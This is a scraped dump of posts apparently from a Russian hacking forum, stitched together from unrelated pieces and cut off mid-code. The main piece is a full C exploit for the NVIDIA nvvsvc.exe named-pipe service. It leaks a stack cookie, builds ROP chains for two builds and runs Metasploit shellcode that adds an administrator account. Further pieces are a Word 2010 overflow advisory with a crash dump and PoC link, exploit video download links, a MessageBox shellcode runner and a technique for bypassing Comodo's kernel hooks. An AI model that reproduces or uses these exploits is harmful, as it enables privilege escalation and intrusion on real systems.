*/
#include <stdio.h>
#include <Windows.h>
enum EProtocolAction
{
ProtocolAction_Connect = 0,
ProtocolAction_Receive,
ProtocolAction_Send,
ProtocolAction_Disconnect,
ProtocolAction_ReadCookie,
};
typedef struct {
EProtocolAction Action;
PBYTE Buf;
DWORD Length;
} ProtocolMessage;
const int GENERIC_BUF_LENGTH = 0x10000;
#define WriteByte(val) {buf[offs] = val; offs += 1;}
#define WriteWord(val) {*(WORD *)(buf + offs) = val; offs += 2;}
#define WriteDword(val) {*(DWORD *)(buf + offs) = val; offs += 4;}
#define WriteBytes(val, len) {memcpy(buf + offs, val, len); offs += len;}
#define BufRemaining() (sizeof(buf) - offs)
DWORD WritePipe(HANDLE hPipe, void *pBuffer, DWORD cbBuffer)
{
DWORD dwWritten = 0;
if(WriteFile(hPipe, pBuffer, cbBuffer, &dwWritten, NULL))
return dwWritten;
return 0;
}
DWORD ReadPipe(HANDLE hPipe, void *pBuffer, DWORD cbBuffer, BOOL bTimeout = FALSE)
{
DWORD dwRead = 0, dwAvailable = 0;
if(bTimeout)
{
for(DWORD i=0; i < 30; i++)
{
if(!PeekNamedPipe(hPipe, NULL, NULL, NULL, &dwAvailable, NULL))
goto Cleanup;
if(dwAvailable)
break;
Sleep(100);
}
if(!dwAvailable)
goto Cleanup;
}
if(!ReadFile(hPipe, pBuffer, cbBuffer, &dwRead, NULL))
goto Cleanup;
Cleanup:
return dwRead;
}
HANDLE EstablishPipeConnection(char *pszPipe)
{
HANDLE hPipe = CreateFileA(
pszPipe,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0,
NULL
);
if(hPipe == INVALID_HANDLE_VALUE)
{
return NULL;
}
return hPipe;
}
BYTE *BuildMalicious_LeakStack()
{
static BYTE buf[0x4020] = {0};
UINT offs = 0;
WriteWord(0x52);
for(UINT i=0; i<0x2000; i++)
WriteWord(0x41);
WriteWord(0);
WriteDword(0);
WriteDword(0x4078);
WriteDword(0x41414141);
WriteDword(0x41414141);
WriteDword(0x41414141);
WriteDword(0x41414141);
WriteDword(0x41414141);
return buf;
}
BYTE *BuildMalicious_FillBuf()
{
static BYTE buf[0x4020] = {0};
UINT offs = 0;
WriteWord(0x52);
WriteWord(0); // string
WriteDword(0);
WriteDword(0x4000);
while(BufRemaining())
WriteDword(0x43434343);
return buf;
}
BYTE *BuildMalicious_OverwriteStack()
{
static BYTE buf[0x4020] = {0};
UINT offs = 0;
WriteWord(0x52);
WriteWord(0); // string
WriteDword(0);
WriteDword(0x4340); // enough to copy shellcode too
while(BufRemaining())
WriteDword(0x42424242);
return buf;
}
int main(int argc, char* argv[])
{
DWORD dwReturnCode = 1, dwBytesInOut = 0;
HANDLE hPipe = NULL;
static BYTE rgReadBuf[GENERIC_BUF_LENGTH] = {0};
printf(
" ** Nvvsvc.exe Nsvr Pipe Exploit (Local/Domain) **\n"
" [@peterwintrsmith]\n"
" - Win7 x64 DEP + ASLR + GS Bypass - Christmas 2012 -\n"
);
if(argc < 2)
{
printf("\tUsage: %s <ip>|local\n\n", argv[0]);
printf(
" !! If exploiting remotely, create a session with the target using your domain credentials !!\n"
"\tCommand: net use \\\\target.ip\\ipc$ /u:domain\\user password\n"
);
goto Cleanup;
}
memset(rgReadBuf, 0, sizeof(rgReadBuf));
ProtocolMessage rgConvoMsg[] = {
{ProtocolAction_Connect, NULL, 0},
{ProtocolAction_Send, BuildMalicious_LeakStack(), 0x4020},
{ProtocolAction_Receive, {0}, 0x4200},
{ProtocolAction_ReadCookie, {0}, 0},
{ProtocolAction_Send, BuildMalicious_FillBuf(), 0x4020},
{ProtocolAction_Receive, {0}, 0x4000},
{ProtocolAction_Send, BuildMalicious_OverwriteStack(), 0x4020},
{ProtocolAction_Receive, {0}, 0x4200},
{ProtocolAction_Disconnect, NULL, 0},
};
DWORD dwNumberOfMessages = sizeof(rgConvoMsg) / sizeof(ProtocolMessage), i = 0;
BOOL bTryAgain = FALSE;
char szPipe[256] = {0};
if(stricmp(argv[1], "local") == 0)
strcpy(szPipe, "\\\\.\\pipe\\nvsr");
else
sprintf(szPipe, "\\\\%s\\pipe\\nvsr", argv[1]);
while(i < dwNumberOfMessages)
{
printf("\n\tAction %u of %u: ", i + 1, dwNumberOfMessages);
switch(rgConvoMsg[i].Action)
{
case ProtocolAction_Connect:
printf(" - CONNECT\n");
hPipe = EstablishPipeConnection(szPipe);
if(!hPipe)
{
printf("!! Unable to create named pipe (GetLastError() = %u [0x%x])\n", GetLastError(), GetLastError());
goto Cleanup;
}
break;
case ProtocolAction_Disconnect:
printf(" - DISCONNECT\n");
CloseHandle(hPipe);
hPipe = NULL;
break;
case ProtocolAction_Send:
printf(" - CLIENT => SERVER\n");
if(!(dwBytesInOut = WritePipe(hPipe, rgConvoMsg[i].Buf, rgConvoMsg[i].Length)))
{
printf("!! Error writing to pipe\n");
goto Cleanup;
}
printf("\t\tWritten %u (0x%x) characters to pipe\n", dwBytesInOut, dwBytesInOut);
break;
case ProtocolAction_Receive:
printf("\t - SERVER => CLIENT\n");
if(!(dwBytesInOut = ReadPipe(hPipe, rgReadBuf, rgConvoMsg[i].Length, FALSE)))
{
printf("!! Error reading from pipe (at least, no data on pipe)\n");
goto Cleanup;
}
printf("\t\tRead %u (0x%x) characters from pipe\n", dwBytesInOut, dwBytesInOut);
break;
case ProtocolAction_ReadCookie:
// x64 Metasploit cmd/exec:
// "net user r00t r00t00r! /add & net localgroup administrators /add"
// exitfunc=thread
char pb_NetAdd_Admin[] = ""
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff"
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64"
"\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73\x65\x72\x20\x72\x30"
"\x30\x74\x20\x72\x30\x30\x74\x30\x30\x72\x21\x20\x2f\x61\x64"
"\x64\x20\x26\x20\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67\x72"
"\x6f\x75\x70\x20\x61\x64\x6d\x69\x6e\x69\x73\x74\x72\x61\x74"
"\x6f\x72\x73\x20\x72\x30\x30\x74\x20\x2f\x61\x64\x64\x00";
printf("Building exploit ...\n");
unsigned __int64 uiStackCookie = *(unsigned __int64 *)(rgReadBuf + 0x4034);
printf("\t\t => Stack cookie 0x%x%x:\n", (DWORD)(uiStackCookie >> 32), (DWORD)uiStackCookie);
memcpy(rgConvoMsg[4].Buf + 0xc + 0xc, &uiStackCookie, 8);
unsigned __int64 uiRetnAddress = *(unsigned __int64 *)(rgReadBuf + 0x4034 + 8), uiBase = 0, *pRopChain = NULL;
// Perform some limited fingerprinting (my default install version, vs latest at time of testing)
switch(uiRetnAddress & 0xfff)
{
case 0x640: // 04/11/2011 05:19 1,640,768 nvvsvc.exe [md5=3947ad5d03e6abcce037801162fdb90d]
{
uiBase = uiRetnAddress - 0x4640;
printf("\t\t => nvvsvc.exe base 0x%x%x:\n", (DWORD)(uiBase >> 32), (DWORD)uiBase);
pRopChain = (unsigned __int64 *)(rgConvoMsg[4].Buf + 0xc + 0xc + (7*8));
// Param 1: lpAddress [r11 (near rsp) into rcx]
pRopChain[0] = uiBase + 0x19e6e; // nvvsvc.exe+0x19e6e: mov rax, r11; retn
pRopChain[1] = uiBase + 0xa6d64; // nvvsvc.exe+0xa6d64: mov rcx, rax; mov eax, [rcx+4]; add rsp, 28h; retn
pRopChain[2] = 0; // Padding
pRopChain[3] = 0; // ...
pRopChain[4] = 0; // ...
pRopChain[5] = 0; // ...
pRopChain[6] = 0; // ...
pRopChain[7] = uiBase + 0x7773; // nvvsvc.exe+0x7773: pop rax; retn
pRopChain[8] = 0x1; // Param 2: dwSize [rdx = 1 (whole page)]
pRopChain[9] = uiBase + 0xa8653; // nvvsvc.exe+0xa8653: mov rdx, rax; mov rax, rdx; add rsp, 28h; retn
pRopChain[10] = 0; // Padding
pRopChain[11] = 0; // ...
pRopChain[12] = 0; // ...
pRopChain[13] = 0; // ...
pRopChain[14] = 0; // ...
pRopChain[15] = uiBase + 0x7772; // nvvsvc.exe+0x7772: pop r8; retn
pRopChain[16] = 0x40; // Param 3: flNewProtect [r8 = 0x40 (PAGE_EXECUTE_READWRITE)]
pRopChain[17] = uiBase + 0x7773; // nvvsvc.exe+0x7773: pop rax; retn
// Param 4: lpflOldProtect [r9 - already points at writable location]
pRopChain[18] = uiBase + 0xfe5e0; // nvvsvc.exe+0xfe5e0: IAT entry &VirtualProtect
pRopChain[19] = uiBase + 0x5d60; // nvvsvc.exe+0x5d60: mov rax, [rax]; retn
pRopChain[20] = uiBase + 0x91a85; // nvvsvc.exe+0x91a85: jmp rax
pRopChain[21] = uiBase + 0xe6251; // nvvsvc.exe+0xe6251: jmp rsp (return address from VirtualProtect)
memcpy(pRopChain + 22, pb_NetAdd_Admin, sizeof(pb_NetAdd_Admin));
}
break;
case 0xa11: // 01/12/2012 05:49 890,216 nvvsvc.exe [md5=3341d2c91989bc87c3c0baa97c27253b]
{
uiBase = uiRetnAddress - 0x3a11;
printf("\t\t => nvvsvc.exe base 0x%x%x:\n", (DWORD)(uiBase >> 32), (DWORD)uiBase);
pRopChain = (unsigned __int64 *)(rgConvoMsg[4].Buf + 0xc + 0xc + (7*8));
// Param 1: lpAddress [r11 (near rsp) into rcx]
pRopChain[0] = uiBase + 0x15b52; // nvvsvc.exe+0x15b52: mov rax, r11; retn
pRopChain[1] = uiBase + 0x54d4c; // nvvsvc.exe+0x54d4c: mov rcx, rax; mov eax, [rcx+4]; add rsp, 28h; retn
pRopChain[2] = 0; // Padding ...
pRopChain[3] = 0; // ...
pRopChain[4] = 0; // ...
pRopChain[5] = 0; // ...
pRopChain[6] = 0; // ...
pRopChain[7] = uiBase + 0x8d7aa; // nvvsvc.exe+0x8d7aa: pop rdx; add al, 0; pop rbp; retn
pRopChain[8] = 0x1; // Param 2: dwSize [rdx = 1 (whole page)]
pRopChain[9] = 0; // Padding ...
// Param 3: flNewProtect [r8 = 0x40 (PAGE_EXECUTE_READWRITE)]
pRopChain[10] = uiBase + 0xd33a; // nvvsvc.exe+0xd33a: pop rax; retn
pRopChain[11] = 0x40; // PAGE_EXECUTE_READWRITE
pRopChain[12] = uiBase + 0x8d26; // nvvsvc.exe+0x8d26: mov r8d, eax; mov eax, r8d; add rsp, 28h; retn
pRopChain[13] = 0; // Padding ...
pRopChain[14] = 0; // ...
pRopChain[15] = 0; // ...
pRopChain[16] = 0; // ...
pRopChain[17] = 0; // ...
pRopChain[18] = uiBase + 0xd33a; // nvvsvc.exe+0xd33a: pop rax; retn
// Param 4: lpflOldProtect [r9 - already points at writable location]
pRopChain[19] = uiBase + 0x91310; // IAT entry &VirtualProtect - 0x128
pRopChain[20] = uiBase + 0x82851; // nvvsvc.exe+0x82851: mov rax, [rax+128h]; add rsp, 28h; retn
pRopChain[21] = 0; // Padding ...
pRopChain[22] = 0; // ...
pRopChain[23] = 0; // ...
pRopChain[24] = 0; // ...
pRopChain[25] = 0; // ...
pRopChain[26] = uiBase + 0x44fb6; // nvvsvc.exe+0x44fb6: jmp rax
pRopChain[27] = uiBase + 0x8a0dc; // nvvsvc.exe+0x8a0dc: push rsp; retn
memcpy(pRopChain + 28, pb_NetAdd_Admin, sizeof(pb_NetAdd_Admin));
}
break;
}
break;
}
i++;
}
dwReturnCode = 0;
Cleanup:
if(hPipe)
CloseHandle(hPipe);
return dwReturnCode;
}
Title : Microsoft Office Word 2010 Stack Overflow
Version : Microsoft Office professional Plus 2010
Date : 2012-10-23
Vendor : http://office.microsoft.com
Impact : Med/High
Contact : coolkaveh [at] rocketmail.com
Twitter : @coolkaveh
tested : XP SP3 ENG###############################################################################
Bug :
----
StackOverflow during the handling of the doc files a context-dependent attacker
can execute arbitrary code.
----################################################################################
(be0.59c): Stack overflow - code c00000fd (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00032000
ebx=00000000
ecx=00032fe4
edx=000024bc
esi=008b8974
edi=0753e000
eip=316d458e
esp=000380f0
ebp=000380f8 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Microsoft Office\Office14\wwlib.dll -
wwlib+0x458e:
316d458e 8500 test dword ptr [eax],eax ds:0023:00032000=00000000
0:000>!exploitable -v
eax=00032000 ebx=00000000 ecx=00032fe4 edx=000024bc esi=008b8974 edi=0753e000
eip=316d458e esp=000380f0 ebp=000380f8 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
wwlib+0x458e:
316d458e 8500 test dword ptr [eax],eax ds:0023:00032000=00000000
HostMachine\HostUser
Executing Processor Architecture is x86
Debuggee is in User Mode
Debuggee is a live user mode debugging session on the local machine
Event Type: Exception
*** ERROR: Symbol file could not be found. Defaulted to export symbols for ntdll.dll -
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\OFFICE14\MSPTLS.DLL -
Exception Faulting Address: 0x316d458e
First Chance Exception Type: STATUS_STACK_OVERFLOW (0xC00000FD)Faulting Instruction:316d458e test dword ptr [eax],eax
Basic Block:
316d458e test dword ptr [eax],eax
Tainted Input Operands: eax
316d4590 jmp wwlib+0x4585 (316d4585)Exception Hash (Major/Minor): 0x7513030e.0x2d6c2e72
Stack Trace:
wwlib+0x458e
wwlib!GetAllocCounters+0x78520
wwlib!GetAllocCounters+0x90f89
wwlib!GetAllocCounters+0x134cf
wwlib!DllGetLCID+0x6451eb
wwlib!DllGetLCID+0x645c74
wwlib!DllGetLCID+0x29b461
wwlib!DllGetLCID+0x531d6
wwlib!DllGetLCID+0x2c1272
wwlib!DllGetLCID+0x141bf9
wwlib!DllGetLCID+0x1d1144
wwlib!DllGetLCID+0x1d05ae
MSPTLS!LsLwMultDivR+0x101e7
MSPTLS!LsLwMultDivR+0x10afb
MSPTLS!LsLwMultDivR+0x10c5e
MSPTLS!LsLwMultDivR+0x10ec8
MSPTLS!FsTransformBbox+0xe137
MSPTLS!LsLwMultDivR+0x24ac6
MSPTLS!LsLwMultDivR+0x27d0
MSPTLS!LsLwMultDivR+0x25470
MSPTLS!LsLwMultDivR+0x25642
MSPTLS!LsLwMultDivR+0x259ad
MSPTLS!LsLwMultDivR+0x2a64
MSPTLS!LsLwMultDivR+0x3201
MSPTLS!FsTransformBbox+0x74ae
MSPTLS!FsTransformBbox+0x7e28
MSPTLS!FsCreateSubpageFinite+0xad
wwlib!DllGetLCID+0x541fc
wwlib!DllGetLCID+0x54037
MSPTLS!LsLwMultDivR+0x4e92
MSPTLS!LsLwMultDivR+0x29070
MSPTLS!LsLwMultDivR+0x285b0
MSPTLS!LsLwMultDivR+0x5fa3
MSPTLS!LsLwMultDivR+0x6816
MSPTLS!FsTransformBbox+0xb8c1
MSPTLS!FsQueryTableObjFigureListWord+0x2a0
MSPTLS!LsLwMultDivR+0x101e7
MSPTLS!LsLwMultDivR+0x10afb
MSPTLS!LsLwMultDivR+0x10c5e
MSPTLS!LsLwMultDivR+0x10ec8
MSPTLS!FsTransformBbox+0xe137
MSPTLS!LsLwMultDivR+0x24ac6
MSPTLS!LsLwMultDivR+0x27d0
MSPTLS!LsLwMultDivR+0x25470
MSPTLS!LsLwMultDivR+0x25642
MSPTLS!LsLwMultDivR+0x259ad
MSPTLS!LsLwMultDivR+0x2a64
MSPTLS!LsLwMultDivR+0x3201
MSPTLS!FsTransformBbox+0x74ae
MSPTLS!FsTransformBbox+0x7e28
MSPTLS!FsCreateSubpageFinite+0xad
wwlib!DllGetLCID+0x1d07f0
MSPTLS!LsLwMultDivR+0x101e7
MSPTLS!LsLwMultDivR+0x10afb
MSPTLS!LsLwMultDivR+0x10c5e
MSPTLS!LsLwMultDivR+0x10ec8
MSPTLS!FsTransformBbox+0xe137
MSPTLS!LsLwMultDivR+0x24ac6
MSPTLS!LsLwMultDivR+0x27d0
MSPTLS!LsLwMultDivR+0x25470
MSPTLS!LsLwMultDivR+0x25642
MSPTLS!LsLwMultDivR+0x259ad
MSPTLS!LsLwMultDivR+0x2a64
MSPTLS!LsLwMultDivR+0x3201
Instruction Address: 0x00000000316d458e
Description: Stack Overflow
Short Description: StackOverflow
Recommended Bug Title: Stack Overflow starting at wwlib+0x000000000000458e (Hash=0x7513030e.0x2d6c2e72)##############################################################################################################
Proof of concept poc.doc included.http://www1.zippyshare.com/v/89075897/file.html
1337day.com [2012-12-21]
Click to expand...
Обсуждение видеоhttp://xss.is/?act=video#video128[
Автор: Fan
Дата добавления: 05.11.2006 02:44
Получаем root, использую сплоита.
[url=http://xss.is/video/120.jpg]Скриншот](http://xss.is/?act=video#video128)
[a style='color:#309030 !important' href='http://dllfiles.org/video/120.rar' target='_blank']Скачать | Download[/url] (607.05 Kb)
Обсуждение видеоhttp://xss.is/?act=video#video124[
Автор: Sani
Дата добавления: 05.11.2006 02:41
Переполнение буфера. Теория.
[url=http://xss.is/video/116.jpg]Скриншот](http://xss.is/?act=video#video124)
[a style='color:#309030 !important' href='http://dllfiles.org/video/116.rar' target='_blank']Скачать | Download[/url] (1.23 Mb)
Обсуждение видеоhttp://xss.is/?act=video#video258[
Автор: F0rtress Zero
Дата добавления: 16.11.2006 01:43
Поднятие root в FreeBSD 6 с использованием временного пароля
[url=http://xss.is/video/]Скриншот](http://xss.is/?act=video#video258)
[a style='color:#309030 !important' href='http://dllfiles.org/video/exploiting_opie.rar' target='_blank']Скачать | Download[/url] (0 Bytes)
/*
title : win32/7 Ultimate MessageBox ShellCode
Author: Ayrbyte
Link : -
Version: -
Category: local
Tested on: Windows 7 Ultimate
Code : c++
Site : 1337day.com Inj3ct0r Exploit DatabaseASSUME FS:NOTHING
XOR ESI,ESI
XOR ECX,ECX ; ECX = 0
MOV ESI,FS:[ECX + 30h] ; ESI = &(PEB) ([FS:0x30])
MOV ESI,[ESI + 0Ch] ; ESI = PEB->Ldr
MOV ESI,[ESI + 1Ch] ; ESI = PEB->Ldr.InInitOrder
xor ebx,ebx
next_module1:
inc ebx
MOV EBP,[ESI + 08h] ; EBP = InInitOrder[X].base_address
MOV EDI,[ESI + 20h] ; EBP = InInitOrder[X].module_name (unicode)
MOV ESI,[ESI] ; ESI = InInitOrder[X].flink (next module)
mov eax,11111111h
mov ecx,11111114h
sub ecx,eax
mov edx,ecx ; ecx = 3 kernel32 berada di urutan ke 3
CMP ebx,edx
JNE next_module1 ; No: mencoba module berikutnya.
; EBP berisi base address kernel32
mov eax,11111111h
mov ecx,11112111h
sub ecx,eax
add ebp,ecx ; offset awal kernel32.dll
mov eax,11111111h
mov ecx,11162975h
sub ecx,eax
mov eax,ecx
add ebp,eax ; EBP ditambah 51864 agar menjadi offset LoadLibrary A;--->Meload user32 library<---
;memasukkan 'user32' string ke stack
mov edx,esp
add edx,32
mov ecx,72657375h ;75657375h = 'user' dalam format little endian
mov ds:[edx],ecx ;memasukkan 'user' ke stack
mov eax,11111111h
mov ecx,11114344h
sub ecx,eax ;membuat ecx terisi oleh 3233h = '32' dalam format little endian
mov ds:[edx+4],ecx ;memasukkan '32' ke stack
;sekarang edx menjadi offset string 'user32'
push edx ;push 'user32'
call ebp ;Calling kernel32dll.LoadLibraryA
add esp,4;--->Menemukan Address MessageBoxA<---
ASSUME FS:NOTHING
XOR ESI,ESI
XOR ECX,ECX ; ECX = 0
MOV ESI,FS:[ECX + 30h] ; ESI = &(PEB) ([FS:0x30])
MOV ESI,[ESI + 0Ch] ; ESI = PEB->Ldr
MOV ESI,[ESI + 1Ch] ; ESI = PEB->Ldr.InInitOrder
xor ebx,ebx
next_module2:
inc ebx
MOV EBP,[ESI + 08h] ; EBP = InInitOrder[X].base_address
MOV EDI,[ESI + 20h] ; EBP = InInitOrder[X].module_name (unicode)
MOV ESI,[ESI] ; ESI = InInitOrder[X].flink (next module)
mov eax,11111111h
mov ecx,11111119h
sub ecx,eax
mov edx,ecx ; ecx = 9 user32 berada di urutan ke 9
CMP ebx,edx;
JNE next_module2 ; No: mencoba module berikutnya.
; EBP berisi base address user32
mov eax,11111111h
mov ecx,11112111h
sub ecx,eax
add ebp,ecx ; offset awal user32.dll
mov eax,11111111h
mov ecx,1116EB82h
sub ecx,eax
mov eax,ecx
add ebp,eax ; EBP ditambah 5DA71 agar menjadi offset MessageBoxA;--->Mempersiapkan String Untuk Judul Dan Isi Messagebox<---
mov eax,11111111h
mov ecx,11111295h
sub ecx,eax
sub esp,ecx
;offset edx judul 'MessageBoxA By Ayrbyte'
mov edx,esp
mov ecx,7373654Dh ;'Mess'
mov ds:[edx],ecx
mov ecx,42656761h ;'ageB'
mov ds:[edx+4],ecx
mov ecx,2041786Fh ;'oxA '
mov ds:[edx+8],ecx
mov ecx,41207942h ;'By A'
mov ds:[edx+12],ecx
mov ecx,79627279h ;'yrby'
mov ds:[edx+16],ecx
mov eax,11111111h
mov ecx,11117685h
sub ecx,eax ;'te'
mov ds:[edx+20],ecx;offset ebx+23 isi 'MessageBoxA 'the hard way' By Ayrbyte'
mov ebx,edx
add ebx,20
mov ecx,7373654dh ;'Mess'
mov ds:[ebx+4],ecx
mov ecx,42656761h ;'ageB'
mov ds:[ebx+8],ecx
mov ecx,2041786Fh ;'oxA '
mov ds:[ebx+12],ecx
mov ecx,65687427h ;''the'
mov ds:[ebx+16],ecx
mov ecx,72616820h ;' har'
mov ds:[ebx+20],ecx
mov ecx,61772064h ;'d wa'
mov ds:[ebx+24],ecx
mov ecx,42202779h ;'y' B'
mov ds:[ebx+28],ecx
mov ecx,79412079h ;'y Ay'
mov ds:[ebx+32],ecx
mov ecx,74796272h ;'rbyt'
mov ds:[ebx+36],ecx
mov eax,11111111h
mov ecx,11111176h
sub ecx,eax ;'e'
mov ds:[ebx+40],ecx
add ebx,4;--->Calling MessageBoxA<---
xor eax,eax ; eax = NULL / 0
push eax
push edx
push ebx
push eax
call ebp ;calling user32.MessageBoxA;--->Calling ExitProcess<---
ASSUME FS:NOTHING
XOR ESI,ESI
XOR ECX,ECX ; ECX = 0
MOV ESI,FS:[ECX + 30h] ; ESI = &(PEB) ([FS:0x30])
MOV ESI,[ESI + 0Ch] ; ESI = PEB->Ldr
MOV ESI,[ESI + 1Ch] ; ESI = PEB->Ldr.InInitOrder
xor ebx,ebx
next_module3:
inc ebx
MOV EBP,[ESI + 08h] ; EBP = InInitOrder[X].base_address
MOV EDI,[ESI + 20h] ; EBP = InInitOrder[X].module_name (unicode)
MOV ESI,[ESI] ; ESI = InInitOrder[X].flink (next module)
mov eax,11111111h
mov ecx,11111113h
sub ecx,eax
mov edx,ecx ; ecx = 3 user32 berada di urutan ke 3
CMP ebx,edx;
JNE next_module3 ; No: mencoba module berikutnya.
; EBP berisi base address user32
mov eax,11111111h
mov ecx,11142637h
sub ecx,eax
add ebp,ecx
call ebp ; Calling KERNELBASEDLL.ExitProcess
*/#include
using namespace std;char code[] =
"\x33\xF6\x33\xC9\x64\x8B\x71\x30\x8B\x76\x0C\x8B\x76\x1C\x33\xDB\x43\x8B\x6E"
"\x08\x8B\x7E\x20\x8B\x36\xB8\x11\x11\x11\x11\xB9\x14\x11\x11\x11\x2B\xC8\x8B"
"\xD1\x3B\xDA\x75\xE5\xB8\x11\x11\x11\x11\xB9\x11\x21\x11\x11\x2B\xC8\x03\xE9"
"\xB8\x11\x11\x11\x11\xB9\x75\x29\x16\x11\x2B\xC8\x8B\xC1\x03\xE8\x8B\xD4\x83"
"\xC2\x20\xB9\x75\x73\x65\x72\x89\x0A\xB8\x11\x11\x11\x11\xB9\x44\x43\x11\x11"
"\x2B\xC8\x89\x4A\x04\x52\xFF\xD5\x83\xC4\x04\x33\xF6\x33\xC9\x64\x8B\x71\x30"
"\x8B\x76\x0C\x8B\x76\x1C\x33\xDB\x43\x8B\x6E\x08\x8B\x7E\x20\x8B\x36\xB8\x11"
"\x11\x11\x11\xB9\x19\x11\x11\x11\x2B\xC8\x8B\xD1\x3B\xDA\x75\xE5\xB8\x11\x11"
"\x11\x11\xB9\x11\x21\x11\x11\x2B\xC8\x03\xE9\xB8\x11\x11\x11\x11\xB9\x82\xEB"
"\x16\x11\x2B\xC8\x8B\xC1\x03\xE8\xB8\x11\x11\x11\x11\xB9\x95\x12\x11\x11\x2B"
"\xC8\x2B\xE1\x8B\xD4\xB9\x4D\x65\x73\x73\x89\x0A\xB9\x61\x67\x65\x42\x89\x4A"
"\x04\xB9\x6F\x78\x41\x20\x89\x4A\x08\xB9\x42\x79\x20\x41\x89\x4A\x0C\xB9\x79"
"\x72\x62\x79\x89\x4A\x10\xB8\x11\x11\x11\x11\xB9\x85\x76\x11\x11\x2B\xC8\x89"
"\x4A\x14\x8B\xDA\x83\xC3\x14\xB9\x4D\x65\x73\x73\x89\x4B\x04\xB9\x61\x67\x65"
"\x42\x89\x4B\x08\xB9\x6F\x78\x41\x20\x89\x4B\x0C\xB9\x27\x74\x68\x65\x89\x4B"
"\x10\xB9\x20\x68\x61\x72\x89\x4B\x14\xB9\x64\x20\x77\x61\x89\x4B\x18\xB9\x79"
"\x27\x20\x42\x89\x4B\x1C\xB9\x79\x20\x41\x79\x89\x4B\x20\xB9\x72\x62\x79\x74"
"\x89\x4B\x24\xB8\x11\x11\x11\x11\xB9\x76\x11\x11\x11\x2B\xC8\x89\x4B\x28\x83"
"\xC3\x04\x33\xC0\x50\x52\x53\x50\xFF\xD5\x33\xF6\x33\xC9\x64\x8B\x71\x30\x8B"
"\x76\x0C\x8B\x76\x1C\x33\xDB\x43\x8B\x6E\x08\x8B\x7E\x20\x8B\x36\xB8\x11\x11"
"\x11\x11\xB9\x13\x11\x11\x11\x2B\xC8\x8B\xD1\x3B\xDA\x75\xE5\xB8\x11\x11\x11"
"\x11\xB9\x37\x26\x14\x11\x2B\xC8\x03\xE9\xFF\xD5";int main(){((void (*)(void))code)();}
Click to expand...
Источник:http://1337day.com/exploits/18903
У кого нить есть чтонить из CVE-2011-2441? по слухам там дофига чего
Здрасти.
Вчера спрашивали про комодо, после поверхностного осмотра подопытного можно
дать заключение.
Авторы знали про возможность рк атаки на сервисы, но не знали что она разных
типов бывает. Хэндлеры используют KeEnterCriticalRegion() для запрещения
доставки саспенд апк. Рассмотрим некоторые сервисы, чтобы принцип атаки был
понятен.
1. Инвалидация буфера. Классический тест на открытие физикл мемори. Модель процедуры следующая:
Code:Copy to clipboard
xNtOpenSection(ObjectAttributes:POBJECT_ATTRIBUTES):
...
if QueryName(ObjectAttributes) = FALSE
NtOpenSection(ObjectAttributes)
fi
ret
QueryName() - процедура, определяющая имя секции. Она защищена сех. Если вызов этой процедуры завершится с ошибкой, то будет вызван оригинальный сервис. Это нам и нужно. Вот непосредственно структура этой процедуры:
Code:Copy to clipboard
QueryName(ObjectAttributes:POBJECT_ATTRIBUTES):
Local ObjAttr:OBJECT_ATTRIBUTES
%SEH_PROLOG
MemCopy(@ObjAttr, ObjectAttributes, sizeof(OBJECT_ATTRIBUTES))
...
Result = TRUE
%SEH_EPILOG
ret
SafeSEH:
Result = FALSE
ret
Нужно какимто образом сгенерировать исключение, либо использовать аллокацию из
другого потока. Есть механизм сторожевых страниц - страница помечается
атрибутом PAGE_GUARD , при обращении к ней генерится #AV и атрибут
снимается, после чего следующее обращение успешно выполниться.
Устанавливаем на страницу с именем секции либо со структурой
OBJECT_ATTRIBUTES этот атрибут. После этого в QueryName() возникнет
фолт при обращении к этой странице. QueryName() возвратит FALSE ,
после чего будет вызван оригинальный сервис. Простейший пример:
Code:Copy to clipboard
Local SectionHandle:HANDLE
Local RegionBase:PVOID, RegionSize:ULONG, OldProtect:ULONG
xor eax,eax
mov RegionBase,offset ObjAttr
mov RegionSize,sizeof ObjAttr
mov ObjAttr.uLength,sizeof(OBJECT_ATTRIBUTES)
mov ObjAttr.hRootDirectory,eax
mov ObjAttr.uAttributes,OBJ_CASE_INSENSITIVE
